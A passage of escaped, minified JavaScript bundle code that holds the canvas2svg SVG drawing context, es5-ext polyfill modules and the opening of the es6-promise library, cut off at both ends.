t=this.__currentElement;\\\"path\\\"===t.nodeName?t.setAttribute(\\\"d\\\",this.__currentDefaultPath):console.error(\\\"Attempted to apply path command to node\\\",t.nodeName)},x.prototype.__addPathCommand=function(t){this.__currentDefaultPath+=\\\" \\\",this.__currentDefaultPath+=t},x.prototype.moveTo=function(t,e){\\\"path\\\"!==this.__currentElement.nodeName&&this.beginPath(),this.__currentPosition={x:t,y:e},this.__addPathCommand(f(\\\"M {x} {y}\\\",{x:t,y:e}))},x.prototype.closePath=function(){this.__currentDefaultPath&&this.__addPathCommand(\\\"Z\\\")},x.prototype.lineTo=function(t,e){this.__currentPosition={x:t,y:e},-1<this.__currentDefaultPath.indexOf(\\\"M\\\")?this.__addPathCommand(f(\\\"L {x} {y}\\\",{x:t,y:e})):this.__addPathCommand(f(\\\"M {x} {y}\\\",{x:t,y:e}))},x.prototype.bezierCurveTo=function(t,e,i,n,r,o){this.__currentPosition={x:r,y:o},this.__addPathCommand(f(\\\"C {cp1x} {cp1y} {cp2x} {cp2y} {x} {y}\\\",{cp1x:t,cp1y:e,cp2x:i,cp2y:n,x:r,y:o}))},x.prototype.quadraticCurveTo=function(t,e,i,n){this.__currentPosition={x:i,y:n},this.__addPathCommand(f(\\\"Q {cpx} {cpy} {x} {y}\\\",{cpx:t,cpy:e,x:i,y:n}))};var b=function(t){var e=Math.sqrt(t[0]*t[0]+t[1]*t[1]);return[t[0]/e,t[1]/e]};x.prototype.arcTo=function(t,e,i,n,r){var o=this.__currentPosition&&this.__currentPosition.x,s=this.__currentPosition&&this.__currentPosition.y;if(void 0!==o&&void 0!==s){if(r<0)throw new Error(\\\"IndexSizeError: The radius provided (\\\"+r+\\\") is negative.\\\");if(o===t&&s===e||t===i&&e===n||0===r)this.lineTo(t,e);else{var a=b([o-t,s-e]),l=b([i-t,n-e]);if(a[0]*l[1]!=a[1]*l[0]){var h=a[0]*l[0]+a[1]*l[1],u=Math.acos(Math.abs(h)),c=b([a[0]+l[0],a[1]+l[1]]),_=r/Math.sin(u/2),p=t+_*c[0],d=e+_*c[1],f=[-a[1],a[0]],v=[l[1],-l[0]],m=function(t){var e=t[0],i=t[1];return 0<=i?Math.acos(e):-Math.acos(e)},g=m(f),y=m(v);this.lineTo(p+f[0]*r,d+f[1]*r),this.arc(p,d,r,g,y)}else this.lineTo(t,e)}}},x.prototype.stroke=function(){\\\"path\\\"===this.__currentElement.nodeName&&this.__currentElement.setAttribute(\\\"paint-order\\\",\\\"fill stroke markers\\\"),this.__applyCurrentDefaultPath(),this.__applyStyleToCurrentElement(\\\"stroke\\\")},x.prototype.fill=function(){\\\"path\\\"===this.__currentElement.nodeName&&this.__currentElement.setAttribute(\\\"paint-order\\\",\\\"stroke fill markers\\\"),this.__applyCurrentDefaultPath(),this.__applyStyleToCurrentElement(\\\"fill\\\")},x.prototype.rect=function(t,e,i,n){\\\"path\\\"!==this.__currentElement.nodeName&&this.beginPath(),this.moveTo(t,e),this.lineTo(t+i,e),this.lineTo(t+i,e+n),this.lineTo(t,e+n),this.lineTo(t,e),this.closePath()},x.prototype.fillRect=function(t,e,i,n){var r;r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n},!0),this.__closestGroupOrSvg().appendChild(r),this.__currentElement=r,this.__applyStyleToCurrentElement(\\\"fill\\\")},x.prototype.strokeRect=function(t,e,i,n){var r;r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n},!0),this.__closestGroupOrSvg().appendChild(r),this.__currentElement=r,this.__applyStyleToCurrentElement(\\\"stroke\\\")},x.prototype.__clearCanvas=function(){for(var t=this.__closestGroupOrSvg(),e=t.getAttribute(\\\"transform\\\"),i=this.__root.childNodes[1],n=i.childNodes,r=n.length-1;0<=r;r--)n[r]&&i.removeChild(n[r]);this.__currentElement=i,this.__groupStack=[],e&&this.__addTransform(e)},x.prototype.clearRect=function(t,e,i,n){if(0!==t||0!==e||i!==this.width||n!==this.height){var r,o=this.__closestGroupOrSvg();r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n,fill:\\\"#FFFFFF\\\"},!0),o.appendChild(r)}else this.__clearCanvas()},x.prototype.createLinearGradient=function(t,e,i,n){var r=this.__createElement(\\\"linearGradient\\\",{id:l(this.__ids),x1:t+\\\"px\\\",x2:i+\\\"px\\\",y1:e+\\\"px\\\",y2:n+\\\"px\\\",gradientUnits:\\\"userSpaceOnUse\\\"},!1);return this.__defs.appendChild(r),new p(r,this)},x.prototype.createRadialGradient=function(t,e,i,n,r,o){var s=this.__createElement(\\\"radialGradient\\\",{id:l(this.__ids),cx:n+\\\"px\\\",cy:r+\\\"px\\\",r:o+\\\"px\\\",fx:t+\\\"px\\\",fy:e+\\\"px\\\",gradientUnits:\\\"userSpaceOnUse\\\"},!1);return this.__defs.appendChild(s),new p(s,this)},x.prototype.__parseFont=function(){var t=/^\\\\s*(?=(?:(?:[-a-z]+\\\\s*){0,2}(italic|oblique))?)(?=(?:(?:[-a-z]+\\\\s*){0,2}(small-caps))?)(?=(?:(?:[-a-z]+\\\\s*){0,2}(bold(?:er)?|lighter|[1-9]00))?)(?:(?:normal|\\\\1|\\\\2|\\\\3)\\\\s*){0,3}((?:xx?-)?(?:small|large)|medium|smaller|larger|[.\\\\d]+(?:\\\\%|in|[cem]m|ex|p[ctx]))(?:\\\\s*\\\\/\\\\s*(normal|[.\\\\d]+(?:\\\\%|in|[cem]m|ex|p[ctx])))?\\\\s*([-,\\\\'\\\\\\\"\\\\sa-z0-9]+?)\\\\s*$/i.exec(this.font),e={style:t[1]||\\\"normal\\\",size:t[4]||\\\"10px\\\",family:t[6]||\\\"sans-serif\\\",weight:t[3]||\\\"normal\\\",decoration:t[2]||\\\"normal\\\",href:null};return\\\"underline\\\"===this.__fontUnderline&&(e.decoration=\\\"underline\\\"),this.__fontHref&&(e.href=this.__fontHref),e},x.prototype.__wrapTextLink=function(t,e){if(t.href){var i=this.__createElement(\\\"a\\\");return i.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",t.href),i.appendChild(e),i}return e},x.prototype.__applyText=function(t,e,i,n){var r,o,s,a,l=this.__parseFont(),h=this.__closestGroupOrSvg(),u=this.__createElement(\\\"text\\\",{\\\"font-family\\\":l.family,\\\"font-size\\\":l.size,\\\"font-style\\\":l.style,\\\"font-weight\\\":l.weight,\\\"text-decoration\\\":l.decoration,x:e,y:i,\\\"text-anchor\\\":(s=this.textAlign,a={left:\\\"start\\\",right:\\\"end\\\",center:\\\"middle\\\",start:\\\"start\\\",end:\\\"end\\\"},a[s]||a.start),\\\"dominant-baseline\\\":(r=this.textBaseline,o={alphabetic:\\\"alphabetic\\\",hanging:\\\"hanging\\\",top:\\\"text-before-edge\\\",bottom:\\\"text-after-edge\\\",middle:\\\"central\\\"},o[r]||o.alphabetic)},!0);u.appendChild(this.__document.createTextNode(t)),this.__currentElement=u,this.__applyStyleToCurrentElement(n),h.appendChild(this.__wrapTextLink(l,u))},x.prototype.fillText=function(t,e,i){this.__applyText(t,e,i,\\\"fill\\\")},x.prototype.strokeText=function(t,e,i){this.__applyText(t,e,i,\\\"stroke\\\")},x.prototype.measureText=function(t){return this.__ctx.font=this.font,this.__ctx.measureText(t)},x.prototype.arc=function(t,e,i,n,r,o){if(n!==r){n%=2*Math.PI,r%=2*Math.PI,n===r&&(r=(r+2*Math.PI-.001*(o?-1:1))%(2*Math.PI));var s=t+i*Math.cos(r),a=e+i*Math.sin(r),l=t+i*Math.cos(n),h=e+i*Math.sin(n),u=o?0:1,c=0,_=r-n;_<0&&(_+=2*Math.PI),c=o?_>Math.PI?0:1:_>Math.PI?1:0,this.lineTo(l,h),this.__addPathCommand(f(\\\"A {rx} {ry} {xAxisRotation} {largeArcFlag} {sweepFlag} {endX} {endY}\\\",{rx:i,ry:i,xAxisRotation:0,largeArcFlag:c,sweepFlag:u,endX:s,endY:a})),this.__currentPosition={x:s,y:a}}},x.prototype.clip=function(){var t=this.__closestGroupOrSvg(),e=this.__createElement(\\\"clipPath\\\"),i=l(this.__ids),n=this.__createElement(\\\"g\\\");this.__applyCurrentDefaultPath(),t.removeChild(this.__currentElement),e.setAttribute(\\\"id\\\",i),e.appendChild(this.__currentElement),this.__defs.appendChild(e),t.setAttribute(\\\"clip-path\\\",f(\\\"url(#{id})\\\",{id:i})),t.appendChild(n),this.__currentElement=n},x.prototype.drawImage=function(){var t,e,i,n,r,o,s,a,l,h,u,c,_,p,d=Array.prototype.slice.call(arguments),f=d[0],v=0,m=0;if(3===d.length)t=d[1],e=d[2],r=f.width,o=f.height,i=r,n=o;else if(5===d.length)t=d[1],e=d[2],i=d[3],n=d[4],r=f.width,o=f.height;else{if(9!==d.length)throw new Error(\\\"Inavlid number of arguments passed to drawImage: \\\"+arguments.length);v=d[1],m=d[2],r=d[3],o=d[4],t=d[5],e=d[6],i=d[7],n=d[8]}s=this.__closestGroupOrSvg(),this.__currentElement;var g=\\\"translate(\\\"+t+\\\", \\\"+e+\\\")\\\";if(f instanceof x){if((a=f.getSvg().cloneNode(!0)).childNodes&&1<a.childNodes.length){for(l=a.childNodes[0];l.childNodes.length;)p=l.childNodes[0].getAttribute(\\\"id\\\"),this.__ids[p]=p,this.__defs.appendChild(l.childNodes[0]);if(h=a.childNodes[1]){var y,b=h.getAttribute(\\\"transform\\\");y=b?b+\\\" \\\"+g:g,h.setAttribute(\\\"transform\\\",y),s.appendChild(h)}}}else\\\"IMG\\\"===f.nodeName?((u=this.__createElement(\\\"image\\\")).setAttribute(\\\"width\\\",i),u.setAttribute(\\\"height\\\",n),u.setAttribute(\\\"preserveAspectRatio\\\",\\\"none\\\"),(v||m||r!==f.width||o!==f.height)&&((c=this.__document.createElement(\\\"canvas\\\")).width=i,c.height=n,(_=c.getContext(\\\"2d\\\")).drawImage(f,v,m,r,o,0,0,i,n),f=c),u.setAttribute(\\\"transform\\\",g),u.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",\\\"CANVAS\\\"===f.nodeName?f.toDataURL():f.getAttribute(\\\"src\\\")),s.appendChild(u)):\\\"CANVAS\\\"===f.nodeName&&((u=this.__createElement(\\\"image\\\")).setAttribute(\\\"width\\\",i),u.setAttribute(\\\"height\\\",n),u.setAttribute(\\\"preserveAspectRatio\\\",\\\"none\\\"),(c=this.__document.createElement(\\\"canvas\\\")).width=i,c.height=n,(_=c.getContext(\\\"2d\\\")).imageSmoothingEnabled=!1,_.mozImageSmoothingEnabled=!1,_.oImageSmoothingEnabled=!1,_.webkitImageSmoothingEnabled=!1,_.drawImage(f,v,m,r,o,0,0,i,n),f=c,u.setAttribute(\\\"transform\\\",g),u.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",f.toDataURL()),s.appendChild(u))},x.prototype.createPattern=function(t,e){var i,n=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"pattern\\\"),r=l(this.__ids);return n.setAttribute(\\\"id\\\",r),n.setAttribute(\\\"width\\\",t.width),n.setAttribute(\\\"height\\\",t.height),\\\"CANVAS\\\"===t.nodeName||\\\"IMG\\\"===t.nodeName?((i=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"image\\\")).setAttribute(\\\"width\\\",t.width),i.setAttribute(\\\"height\\\",t.height),i.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",\\\"CANVAS\\\"===t.nodeName?t.toDataURL():t.getAttribute(\\\"src\\\")),n.appendChild(i),this.__defs.appendChild(n)):t instanceof x&&(n.appendChild(t.__root.childNodes[1]),this.__defs.appendChild(n)),new d(n,this)},x.prototype.setLineDash=function(t){t&&0<t.length?this.lineDash=t.join(\\\",\\\"):this.lineDash=null},x.prototype.drawFocusRing=function(){},x.prototype.createImageData=function(){},x.prototype.getImageData=function(){},x.prototype.putImageData=function(){},x.prototype.globalCompositeOperation=function(){},x.prototype.setTransform=function(){},\\\"object\\\"==typeof window&&(window.C2S=x),\\\"object\\\"==typeof e&&\\\"object\\\"==typeof e.exports&&(e.exports=x)}()},function(t,e,i){var n,o=t(307),r=t(317),s=t(321),a=t(316),l=t(321),h=t(323),u=Function.prototype.bind,c=Object.defineProperty,_=Object.prototype.hasOwnProperty;n=function(t,e,i){var n,r=h(e)&&l(e.value);return delete(n=o(e)).writable,delete n.value,n.get=function(){return!i.overwriteDefinition&&_.call(this,t)?r:(e.value=u.call(r,i.resolveContext?i.resolveContext(this):this),c(this,t,e),this[t])},n},e.exports=function(t){var i=r(arguments[1]);return null!=i.resolveContext&&s(i.resolveContext),a(t,function(t,e){return n(e,t,i)})}},function(t,e,i){var a=t(304),l=t(317),h=t(310),u=t(324);(e.exports=function(t,e){var i,n,r,o,s;return arguments.length<2||\\\"string\\\"!=typeof t?(o=e,e=t,t=null):o=arguments[2],null==t?(i=r=!0,n=!1):(i=u.call(t,\\\"c\\\"),n=u.call(t,\\\"e\\\"),r=u.call(t,\\\"w\\\")),s={value:e,configurable:i,enumerable:n,writable:r},o?a(l(o),s):s}).gs=function(t,e,i){var n,r,o,s;return\\\"string\\\"!=typeof t?(o=i,i=e,e=t,t=null):o=arguments[3],null==e?e=void 0:h(e)?null==i?i=void 0:h(i)||(o=i,i=void 0):(o=e,e=i=void 0),null==t?r=!(n=!0):(n=u.call(t,\\\"c\\\"),r=u.call(t,\\\"e\\\")),s={get:e,set:i,configurable:n,enumerable:r},o?a(l(o),s):s}},function(t,e,i){var n=t(323);e.exports=function(){return n(this).length=0,this}},function(t,e,i){e.exports=t(292)()?Array.from:t(293)},function(t,e,i){e.exports=function(){var t,e,i=Array.from;return\\\"function\\\"==typeof i&&(e=i(t=[\\\"raz\\\",\\\"dwa\\\"]),Boolean(e&&e!==t&&\\\"dwa\\\"===e[1]))}},function(t,e,i){var p=t(337).iterator,d=t(294),f=t(295),v=t(302),m=t(321),g=t(323),y=t(312),b=t(327),x=Array.isArray,w=Function.prototype.call,k={configurable:!0,enumerable:!0,writable:!0,value:null},S=Object.defineProperty;e.exports=function(t){var e,i,n,r,o,s,a,l,h,u,c=arguments[1],_=arguments[2];if(t=Object(g(t)),y(c)&&m(c),this&&this!==Array&&f(this))e=this;else{if(!c){if(d(t))return 1!==(o=t.length)?Array.apply(null,t):((r=new Array(1))[0]=t[0],r);if(x(t)){for(r=new Array(o=t.length),i=0;i<o;++i)r[i]=t[i];return r}}r=[]}if(!x(t))if(void 0!==(h=t[p])){for(a=m(h).call(t),e&&(r=new e),l=a.next(),i=0;!l.done;)u=c?w.call(c,_,l.value,i):l.value,e?(k.value=u,S(r,i,k)):r[i]=u,l=a.next(),++i;o=i}else if(b(t)){for(o=t.length,e&&(r=new e),n=i=0;i<o;++i)u=t[i],i+1<o&&55296<=(s=u.charCodeAt(0))&&s<=56319&&(u+=t[++i]),u=c?w.call(c,_,u,n):u,e?(k.value=u,S(r,n,k)):r[n]=u,++n;o=n}if(void 0===o)for(o=v(t.length),e&&(r=new e(o)),i=0;i<o;++i)u=c?w.call(c,_,t[i],i):t[i],e?(k.value=u,S(r,i,k)):r[i]=u;return e&&(k.value=null,r.length=o),r}},function(t,e,i){var n=Object.prototype.toString,r=n.call(function(){return arguments}());e.exports=function(t){return n.call(t)===r}},function(t,e,i){var n=Object.prototype.toString,r=n.call(t(296));e.exports=function(t){return\\\"function\\\"==typeof t&&n.call(t)===r}},function(t,e,i){e.exports=function(){}},function(t,e,i){e.exports=function(){return this}()},function(t,e,i){e.exports=t(299)()?Math.sign:t(300)},function(t,e,i){e.exports=function(){var t=Math.sign;return\\\"function\\\"==typeof t&&1===t(10)&&-1===t(-20)}},function(t,e,i){e.exports=function(t){return t=Number(t),isNaN(t)||0===t?t:0<t?1:-1}},function(t,e,i){var n=t(298),r=Math.abs,o=Math.floor;e.exports=function(t){return isNaN(t)?0:0!==(t=Number(t))&&isFinite(t)?n(t)*o(r(t)):t}},function(t,e,i){var n=t(301),r=Math.max;e.exports=function(t){return r(0,n(t))}},function(t,e,i){var a=t(321),l=t(323),h=Function.prototype.bind,u=Function.prototype.call,c=Object.keys,_=Object.prototype.propertyIsEnumerable;e.exports=function(o,s){return function(i,n){var t,r=arguments[2],e=arguments[3];return i=Object(l(i)),a(n),t=c(i),e&&t.sort(\\\"function\\\"==typeof e?h.call(e,i):void 0),\\\"function\\\"!=typeof o&&(o=t[o]),u.call(o,t,function(t,e){return _.call(i,t)?u.call(n,r,i[t],t,i,e):s})}}},function(t,e,i){e.exports=t(305)()?Object.assign:t(306)},function(t,e,i){e.exports=function(){var t,e=Object.assign;return\\\"function\\\"==typeof e&&(e(t={foo:\\\"raz\\\"},{bar:\\\"dwa\\\"},{trzy:\\\"trzy\\\"}),t.foo+t.bar+t.trzy===\\\"razdwatrzy\\\")}},function(t,e,i){var s=t(313),a=t(323),l=Math.max;e.exports=function(e,i){var n,t,r,o=l(arguments.length,2);for(e=Object(a(e)),r=function(t){try{e[t]=i[t]}catch(t){n||(n=t)}},t=1;t<o;++t)i=arguments[t],s(i).forEach(r);if(void 0!==n)throw n;return e}},function(t,e,i){var o=t(291),s=t(304),a=t(323);e.exports=function(e){var t=Object(a(e)),i=arguments[1],n=Object(arguments[2]);if(t!==e&&!i)return t;var r={};return i?o(i,function(t){(n.ensure||t in e)&&(r[t]=e[t])}):s(r,e),r}},function(t,e,i){var n,r,o,s,a=Object.create;t(319)()||(n=t(320)),e.exports=n?1!==n.level?a:(s={configurable:(o={},!1),enumerable:(r={},!1),writable:!0,value:void 0},Object.getOwnPropertyNames(Object.prototype).forEach(function(t){o[t]=\\\"__proto__\\\"!==t?s:{configurable:!0,enumerable:!1,writable:!0,value:void 0}}),Object.defineProperties(r,o),Object.defineProperty(n,\\\"nullPolyfill\\\",{configurable:!1,enumerable:!1,writable:!1,value:r}),function(t,e){return a(null===t?r:t,e)}):a},function(t,e,i){e.exports=t(303)(\\\"forEach\\\")},function(t,e,i){e.exports=function(t){return\\\"function\\\"==typeof t}},function(t,e,i){var n=t(312),r={function:!0,object:!0};e.exports=function(t){return n(t)&&r[typeof t]||!1}},function(t,e,i){var n=t(296)();e.exports=function(t){return t!==n&&null!==t}},function(t,e,i){e.exports=t(314)()?Object.keys:t(315)},function(t,e,i){e.exports=function(){try{return Object.keys(\\\"primitive\\\"),!0}catch(t){return!1}}},function(t,e,i){var n=t(312),r=Object.keys;e.exports=function(t){return r(n(t)?Object(t):t)}},function(t,e,i){var n=t(321),a=t(309),l=Function.prototype.call;e.exports=function(t,r){var o={},s=arguments[2];return n(r),a(t,function(t,e,i,n){o[e]=l.call(r,s,t,e,i,n)}),o}},function(t,e,i){var n=t(312),r=Array.prototype.forEach,o=Object.create;e.exports=function(t){var e=o(null);return r.call(arguments,function(t){n(t)&&function(t,e){var i;for(i in t)e[i]=t[i]}(Object(t),e)}),e}},function(t,e,i){e.exports=t(319)()?Object.setPrototypeOf:t(320)},function(t,e,i){var n=Object.create,r=Object.getPrototypeOf,o={};e.exports=function(){var t=Object.setPrototypeOf,e=arguments[0]||n;return\\\"function\\\"==typeof t&&r(t(e(null),o))===o}},function(t,e,i){var r,n,o,s,a=t(311),l=t(323),h=Object.prototype.isPrototypeOf,u=Object.defineProperty,c={configurable:!0,enumerable:!1,writable:!0,value:void 0};r=function(t,e){if(l(t),null===e||a(e))return t;throw new TypeError(\\\"Prototype must be null or an object\\\")},e.exports=(n=function(){var t,e=Object.create(null),i={},n=Object.getOwnPropertyDescriptor(Object.prototype,\\\"__proto__\\\");if(n){try{(t=n.set).call(e,i)}catch(t){}if(Object.getPrototypeOf(e)===i)return{set:t,level:2}}return e.__proto__=i,Object.getPrototypeOf(e)===i?{level:2}:((e={}).__proto__=i,Object.getPrototypeOf(e)===i&&{level:1})}())?(2===n.level?n.set?(s=n.set,o=function(t,e){return s.call(r(t,e),e),t}):o=function(t,e){return r(t,e).__proto__=e,t}:o=function t(e,i){var n;return r(e,i),(n=h.call(t.nullPolyfill,e))&&delete t.nullPolyfill.__proto__,null===i&&(i=t.nullPolyfill),e.__proto__=i,n&&u(t.nullPolyfill,\\\"__proto__\\\",c),e},Object.defineProperty(o,\\\"level\\\",{configurable:!1,enumerable:!1,writable:!1,value:n.level})):null,t(308)},function(t,e,i){e.exports=function(t){if(\\\"function\\\"!=typeof t)throw new TypeError(t+\\\" is not a function\\\");return t}},function(t,e,i){var n=t(311);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not an Object\\\");return t}},function(t,e,i){var n=t(312);e.exports=function(t){if(!n(t))throw new TypeError(\\\"Cannot use null or undefined\\\");return t}},function(t,e,i){e.exports=t(325)()?String.prototype.contains:t(326)},function(t,e,i){var n=\\\"razdwatrzy\\\";e.exports=function(){return\\\"function\\\"==typeof n.contains&&!0===n.contains(\\\"dwa\\\")&&!1===n.contains(\\\"foo\\\")}},function(t,e,i){var n=String.prototype.indexOf;e.exports=function(t){return-1<n.call(this,t,arguments[1])}},function(t,e,i){var n=Object.prototype.toString,r=n.call(\\\"\\\");e.exports=function(t){return\\\"string\\\"==typeof t||t&&\\\"object\\\"==typeof t&&(t instanceof String||n.call(t)===r)||!1}},function(t,e,i){var n=Object.create(null),r=Math.random;e.exports=function(){for(var t;t=r().toString(36).slice(2),n[t];);return t}},function(t,e,i){var n,r=t(318),o=t(324),s=t(289),a=t(337),l=t(332),h=Object.defineProperty;n=e.exports=function(t,e){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");l.call(this,t),e=e?o.call(e,\\\"key+value\\\")?\\\"key+value\\\":o.call(e,\\\"key\\\")?\\\"key\\\":\\\"value\\\":\\\"value\\\",h(this,\\\"__kind__\\\",s(\\\"\\\",e))},r&&r(n,l),delete n.prototype.constructor,n.prototype=Object.create(l.prototype,{_resolve:s(function(t){return\\\"value\\\"===this.__kind__?this.__list__[t]:\\\"key+value\\\"===this.__kind__?[t,this.__list__[t]]:t})}),h(n.prototype,a.toStringTag,s(\\\"c\\\",\\\"Array Iterator\\\"))},function(t,e,i){var c=t(294),_=t(321),p=t(327),d=t(331),f=Array.isArray,v=Function.prototype.call,m=Array.prototype.some;e.exports=function(t,e){var i,n,r,o,s,a,l,h,u=arguments[2];if(f(t)||c(t)?i=\\\"array\\\":p(t)?i=\\\"string\\\":t=d(t),_(e),r=function(){o=!0},\\\"array\\\"!==i)if(\\\"string\\\"!==i)for(n=t.next();!n.done;){if(v.call(e,u,n.value,r),o)return;n=t.next()}else for(a=t.length,s=0;s<a&&(l=t[s],s+1<a&&55296<=(h=l.charCodeAt(0))&&h<=56319&&(l+=t[++s]),v.call(e,u,l,r),!o);++s);else m.call(t,function(t){return v.call(e,u,t,r),o})}},function(t,e,i){var n=t(294),r=t(327),o=t(329),s=t(334),a=t(335),l=t(337).iterator;e.exports=function(t){return\\\"function\\\"==typeof a(t)[l]?t[l]():n(t)?new o(t):r(t)?new s(t):new o(t)}},function(t,e,i){var n,r=t(290),o=t(304),s=t(321),a=t(323),l=t(289),h=t(288),u=t(337),c=Object.defineProperty,_=Object.defineProperties;e.exports=n=function(t,e){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");_(this,{__list__:l(\\\"w\\\",a(t)),__context__:l(\\\"w\\\",e),__nextIndex__:l(\\\"w\\\",0)}),e&&(s(e.on),e.on(\\\"_add\\\",this._onAdd),e.on(\\\"_delete\\\",this._onDelete),e.on(\\\"_clear\\\",this._onClear))},delete n.prototype.constructor,_(n.prototype,o({_next:l(function(){var t;if(this.__list__)return this.__redo__&&void 0!==(t=this.__redo__.shift())?t:this.__nextIndex__<this.__list__.length?this.__nextIndex__++:void this._unBind()}),next:l(function(){return this._createResult(this._next())}),_createResult:l(function(t){return void 0===t?{done:!0,value:void 0}:{done:!1,value:this._resolve(t)}}),_resolve:l(function(t){return this.__list__[t]}),_unBind:l(function(){this.__list__=null,delete this.__redo__,this.__context__&&(this.__context__.off(\\\"_add\\\",this._onAdd),this.__context__.off(\\\"_delete\\\",this._onDelete),this.__context__.off(\\\"_clear\\\",this._onClear),this.__context__=null)}),toString:l(function(){return\\\"[object \\\"+(this[u.toStringTag]||\\\"Object\\\")+\\\"]\\\"})},h({_onAdd:l(function(i){i>=this.__nextIndex__||(++this.__nextIndex__,this.__redo__?(this.__redo__.forEach(function(t,e){i<=t&&(this.__redo__[e]=++t)},this),this.__redo__.push(i)):c(this,\\\"__redo__\\\",l(\\\"c\\\",[i])))}),_onDelete:l(function(i){var t;i>=this.__nextIndex__||(--this.__nextIndex__,this.__redo__&&(-1!==(t=this.__redo__.indexOf(i))&&this.__redo__.splice(t,1),this.__redo__.forEach(function(t,e){i<t&&(this.__redo__[e]=--t)},this)))}),_onClear:l(function(){this.__redo__&&r.call(this.__redo__),this.__nextIndex__=0})}))),c(n.prototype,u.iterator,l(function(){return this}))},function(t,e,i){var n=t(294),r=t(312),o=t(327),s=t(337).iterator,a=Array.isArray;e.exports=function(t){return!(!r(t)||!a(t)&&!o(t)&&!n(t)&&\\\"function\\\"!=typeof t[s])}},function(t,e,i){var n,r=t(318),o=t(289),s=t(337),a=t(332),l=Object.defineProperty;n=e.exports=function(t){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");t=String(t),a.call(this,t),l(this,\\\"__length__\\\",o(\\\"\\\",t.length))},r&&r(n,a),delete n.prototype.constructor,n.prototype=Object.create(a.prototype,{_next:o(function(){if(this.__list__)return this.__nextIndex__<this.__length__?this.__nextIndex__++:void this._unBind()}),_resolve:o(function(t){var e,i=this.__list__[t];return this.__nextIndex__===this.__length__?i:55296<=(e=i.charCodeAt(0))&&e<=56319?i+this.__list__[this.__nextIndex__++]:i})}),l(n.prototype,s.toStringTag,o(\\\"c\\\",\\\"String Iterator\\\"))},function(t,e,i){var n=t(333);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not iterable\\\");return t}},function(L,t,e){\\n      /*!\\n           * @overview es6-promise - a tiny implementation of Promises/A+.\\n           * @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)\\n           * @license   Licensed under MIT license\\n           *            See https://raw.githubusercontent.com/stefanpenner/es6-promise/master/LICENSE\\n           * @version   v4.2.4+314e4831\\n           */var i,n;i=this,n=function(){\\\"use strict\\\";function h(t){return\\\"function\\\"==typeof t}var i=Array.isArray?Array.isArray:function(t){return\\\"[object Array]\\\"===Object.prototype.toString.call(t)},n=0,e=void 0,r=void 0,a=function(t,e){_[n]=t,_[n+1]=e,2===(n+=2)&&(r?r(p):g())},t=\\\"undefined\\\"!=typeof window?window:void 0,o=t||{},s=o.MutationObserver||o.WebKitMutationObserver,l=\\\"undefined\\\"==typeof self&&\\\"undefined\\\"!=typeof process&&\\\"[object process]\\\"==={}.toString.call(process),u=\\\"undefined\\\"!=typeof Uint8ClampedArray&&\\\"undefined\\\"!=typeof importScripts&&\\\"undefined\\\"!=typeof MessageChannel;function c(){var t=setTimeout;return function(){return t(p,1)}}var _=new Array(1e3);function p(){for(var t=0;t<n;t+=2){var e=_[t],i=_[t+1];e(i),_[t]=void 0,_[t+1]=void 0}n=0}var d,f,v,m,g=void 0;function y(t,e){var i=this,n=new this.constructor(w);void 0===n[x]&&I(n);var r=i._state;if(r){var o=arguments[r-1];a(function(){return F(r,n,o,i._result)})}else j(i,n,t,e);return n}function b(t){if(t&&\\\"object\\\"==typeof t&&t.constructor===this)return t;var e=new this(w);return M(e,t),e}l?g=function(){return process.nextTick(p)}:s?(f=0,v=new s(p),m=document.createTextNode(\\\"\\\"),v.observe(m,{characterData:!0}),g=function(){m.data=f=++f%2}):u?((d=new MessageChannel).port1.onmessage=p,g=function(){return d.port2.postMessage(0)}):g=void 0===t&&\\\"function\\\"==typeof L?function(){try{var t=Function(\\\"return this\\\")().require(\\\"vertx\\\");return void 0!==(e=t.runOnLoop||t.runOnContext)?function(){e(p)}:c()}catch(t){return c()}}():c();var x=Math.random().toString(36).substring(2);function w(){}var k=void 0,S=1,C=2,T={error:null};function A(t){try{return t.then}catch(t){return T.error=t,T}}function E(t,e,i){var n,r,o,s;e.constructor===t.constructor&&i===y&&e.constructor.resolve===b?(o=t,(s=e)._state===S?z(o,s._result):s._state===C?P(o,s._result):j(s,void 0,function(t){return M(o,t)},function(t){return P(o,t)})):i===T?(P(t,T.error),T.error=null):void 0===i?z(t,e):h(i)?(n=e,r=i,a(function(e){var i=!1,t=function(t,e,i,n){try{t.call(e,i,n)}catch(t){return t}}(r,n,function(t){i||(i=!0,n!==t?M(e,t):z(e,t))},function(t){i||(i=!0,P(e,t))},e._label);!i&&t&&(i=!0,P(e,t))},t)):z(t,e)}function M(t,e){var i,n;t===e?P(t,new TypeError(\\\"You cannot resolve a promise with itself\\\")):(n=typeof(i=e),null===i||\\\"object\\\"!==n&&\\\"function\\\"!==n?z(t,e):E(t,e,A(e)))}function O(t){t._onerror&&t._onerror(t._result),N(t)}function z(t,e){t._state===k&&(t._result=e,t._state=S,0!==t._subscribers.length&&a(N,t))}function P(t,e){t._state===k&&(t._state=C,t._result=e,a(O,t))}function j(t,e,i,n){var r=t._subscribers,o=r.length;t._onerror=null,r[o]=e,r[o+S]=i,r[o+C]=n,0===o&&t._state&&a(N,t)}function N(t){var e=t._subscribers,i=t._state;if(0!==e.length){for(var n=void 0,r=void 0,o=t._result,s=0;s<e.length;s+=3)n=e[s],r=e[s+i],n?F(i,n,r,o):r(o);t._subscribers.length=0}}function F(t,e,i,n){var r=h(i),o=void 0,s=void 0,a=void 0,l=void 0;if(r){if((o=function(t,e){try{return t(e)}catch(t){return T.error=t,T}}(i,n))===T?(l=!0,s=o.error,o.error=null):a=!0,e===o)return void P(e,new 